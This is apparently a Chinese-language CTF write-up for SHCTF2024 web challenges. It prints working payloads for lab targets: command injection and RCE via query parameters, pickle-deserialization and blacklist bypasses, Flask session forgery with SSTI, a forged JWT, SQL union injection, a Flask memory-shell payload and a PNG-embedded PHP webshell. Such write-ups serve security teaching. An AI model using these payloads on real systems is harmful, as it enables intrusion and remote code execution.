SHCTF2024
[Week1] 1zflask
题目提示robots,直接访问robots.txt即可获得/s3recttt,下载app.py源码
1 | import os |
直接访问/api即可进行rce
1 | /api?SSHCTFF=cat /* |
[Week1] MD5 Master
1 |
|
md5强碰撞绕过即可,这里需要碰撞前的字符串为MD5 master!,这样就可以达到绕过,通过bp提交即可
1 | master1=%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%3D%DD%F6FS%00%0B%AE%3E%21%0Es%E2%89r%EA%8D%3A%F2%21%1C%E9%22%1CD%D2%7E%FAL%10%A2%1D%9D%F1%F2%F6l%AB%85%18%EF%C1A%1B%C8WL%88%AC%7D%FC%E7%C1%7D%3DG%BDD%0BEsbAQtY%8DP%23%FE%F8%F2%8D%14%F2S%A8%BE%E7%96%00%10x%97%C8%E3L%DD%1C%25l%E7Q%C7%7C%DE%21%88%F2%19%BC%91%10%87%9A%15%C5Y%9D%88%F6%DD%C9%3C%0D%DD%89%D6%F3%15%B0%ED%CEY%D3tck&master2=%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%3D%DD%F6FS%00%0B%AE%3E%21%0Es%E2%89r%EA%8D%3A%F2%A1%1C%E9%22%1CD%D2%7E%FAL%10%A2%1D%9D%F1%F2%F6l%AB%85%18%EF%C1A%1B%C8%D7L%88%AC%7D%FC%E7%C1%7D%3DG%BDD%0B%C5sbAQtY%8DP%23%FE%F8%F2%8D%14%F2S%A8%BE%E7%96%00%10x%17%C8%E3L%DD%1C%25l%E7Q%C7%7C%DE%21%88%F2%19%BC%91%10%87%9A%15%C5Y%9D%08%F6%DD%C9%3C%0D%DD%89%D6%F3%15%B0%ED%CE%D9%D3tck |
[Week1] ez_gittt
git泄露,直接通过GitHack来查看即可
1 | python2 GitHack.py http://210.44.150.15:47817/.git/ |
[Week1] jvav
这个题要通过java来执行系统命令来获取flag
1 | import java.io.BufferedReader; |
[Week1] poppopop
1 | <?php |
这个就是一个序列化题,没有什么好讲的
1 | <?php |
[Week1] 单身十八年的手速
查看game.js直接寻找最后的base编码得flag
[Week1] 蛐蛐?蛐蛐!
1 | <?php |
这里直接通过提交ququ=114514a即可绕过第一个if,后面的if需要ququk1开头,但是直接拼接命令再后面即可,报错但是会执行
1 | ququ=ququk1;system('cat /*'); |
[Week2]MD5 GOD!
下载源码
1 | from flask import * |
这里需要将每一个用户进行签到成功就可以获取flag,这里将SECRET_KEY给出来的,并且有一个关键函数来对身份进行验证
1 | def check_sign(sign, username, msg, salt): |
salt为随机不知道的值,msg= md5(salt + password.encode()),但是有一个已经知道的账户,通过哈希延长攻击来写脚本
1 | import hashlib |
[Week2]dickle
1 | from flask import Flask, request |
这里是pickel反序列化,但是有十分多的waf
1 | BLACKLISTED_CLASSES = [ |
在反序列化过程中, pickle 使用 find_class 方法来定位和导入必要的类或函数。由于 pickle 记录的是 posix.system,因此find_class 会从 posix 模块中导入 system 函数,而不是从 os 模块中导入。
所以可以用os.system进行序列化,但是在检测就会调用posix.system,从而绕过黑名单
1 | import os |
[Week2]guess_the_number
查看源码的源码 /s0urce
1 | import flask |
主要看到种子这里seed = random.randint(1000000,9999999),这里看似随机的,但是当种子确定下来时,first_num和second_num就会确定,所以,只需要通过第一个数来获得seed就可以获得第二个数值
1 | import random |
再提交输出的值获取flag
[Week2]入侵者禁入
这里直接给了源码
1 | from flask import Flask, session, request, render_template_string |
首先看到secret_key就可以知道应该是要通过session伪造了,这里需要注意它不是直接通过admin用户来获取flag,而是通过通过渲染render_template_string(message),这里就可以尝试ssti来获取flag
抓包获取session值
1 | eyJyb2xlIjp7ImZsYWciOiJ5b3VyX2ZsYWdfaGVyZSIsImlzX2FkbWluIjowfX0.ZyiHMA.AomjARBBM3o_mXsepYp6PsZ6D8E |
这里看到破解成功,下面就是进行伪造
1 | python flask_session_cookie_manager3.py encode -s "0day_joker" -t "{'role': {'flag': '{{lipsum.__globals__.os.popen(\'cat /*\').read()}}', 'is_admin': 1}}" |
这里要注意需要通过转义才可以写,最后提交得flag
[Week2]登录验证
提示里面告诉我们要jwt爆破
当我们提交admin admin时告诉我们不是admin
我们开头将jwt码进行爆破
这里爆破出来为222333,将原来的jwt码进行伪造改role为admin即可
1 | eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3MzA3MTk0NzEsImlhdCI6MTczMDcxMjI3MSwibmJmIjoxNzMwNzEyMjcxLCJyb2xlIjoiYWRtaW4ifQ.84vkkeMmFt9dr2RBVhH1TciO69Y4mXPq0cm27Dst9Fo |
最后直接提交即可得flag
[Week2]自助查询
这个题注入没有过滤,主要是最后一步要注意
1 | 1") group by 2# |
这里需要查看注释来获取flag
1 | 0") union SELECT column_name, column_comment FROM information_schema.columns WHERE table_schema = database() AND table_name = 'flag'# |
[Week3] 小小cms
这个是用到cms漏洞,直接用payload即可
1 | 目录 /pay/index/pay_callback |
[Week3] love_flask
下载源码
1 | from flask import Flask, request, render_template_string |
这里发现存在ssti,但是没有会显,这里就可以产生通过内存马来进行回显,这里注意在打内存马时,如果已经创建了目录时就会报错,所以每次进行打内存马时就需要修改目录路径
1 | {{url_for.__globals__['__builtins__']['eval']("app.add_url_rule('/bbb', 'bbb', lambda :__import__('os').popen(_request_ctx_stack.top.request.args.get('cmd', 'cat /*')).read())",{'_request_ctx_stack':url_for.__globals__['_request_ctx_stack'],'app':url_for.__globals__['current_app']})}} |
[Week3] 拜师之旅·番外
这个题考图片马得二次渲染
这个题只可以上传png文件,这里无法通过请求头和图片标识符来绕过,只能通过直接上传png文件来进行绕过,生成png图片的php代码为
1 |
|
运行这个php文件就会生成一个1.png文件,直接下来进行上传,post提交来进行执行命令
1 | /view.php?image=/upload/1924555906.png&0=system |
[Week3] hacked_website
这里会给一个备份文件
打开后发现在/admin/profile.php中有一个后门
1 | <?php $a = 'sys';$b = 'tem';$x = $a.$b;if (!isset($_POST['SH'])) {$z = "''";} else $z = $_POST['SH'];?> |
但是需要注意的一点,如果直接进行访问需要登入,所以我们就需要去尝试弱密码爆破或者sql注入
最后拿到账号为admin qwer1234为密码
直接登入,带着cookie访问profile.php post提交命令即可
1 | SH=cat /* |
[Week4] 0进制计算器
这个题主要是代码审计了
1 | from flask import Flask, render_template, request, jsonify |
首先通过白名单绕过
1 | allow_chr = '0cdhor+-*/=()"\'; ' |
这里最后会进行执行一个eval函数,而要做的就是将expression来进行拼接为一个能执行的字符串
1 | return eval(expression, {}, {}) |
首先可以用python的两个函数
1 | chr() //通过ascii码转字符 |
这里就可以拼接出一个数字
1 | ord('*')-ord(')') //这个是数字 1 |
比如通过python脚本来进行编写就可以得到一个字符得ascii码
1 | a='a' |
这里就可以开始分析如何拼接字符串和构造poc链了,这里主要是两个符号来进行执行
1 | if '=' in command: |
这里首先是可以通过;号来隔开每个不同的命令,而有两个命令执行形式不同,一个为=,另外一个为cdhor()
先去看看 = 号发生了什么,其实就是将等号右边的命令进行执行了,左边的作为新的键名,键值为执行结果,这里就可以大胆的想,这里就可以实现对字符串的拼接,如果将我们poc链需要的字典放到创建的集合中就可以开始拼接字符串
其实关键在执行命令时有一个替换的过程
1 | for var, value in self.variables.items(): |
这里如果将字典构建完成后,我们在通过cdhor()来执行拼接的结果就可以绕过,并且执行命令,下面的python脚本就可以开始执行,但是脚本还需要自动进行拼接,还有可能比较长,但是不影响,只是怎么简单怎么来
1 | #首先实现字典的构造,这里构造的qwe前面会多一个;号,去掉即可 |
这里需要注意如果直接执行命令就只会输出0或者1,但是我们可以通过ssti的方法通过.read()来让print输出结果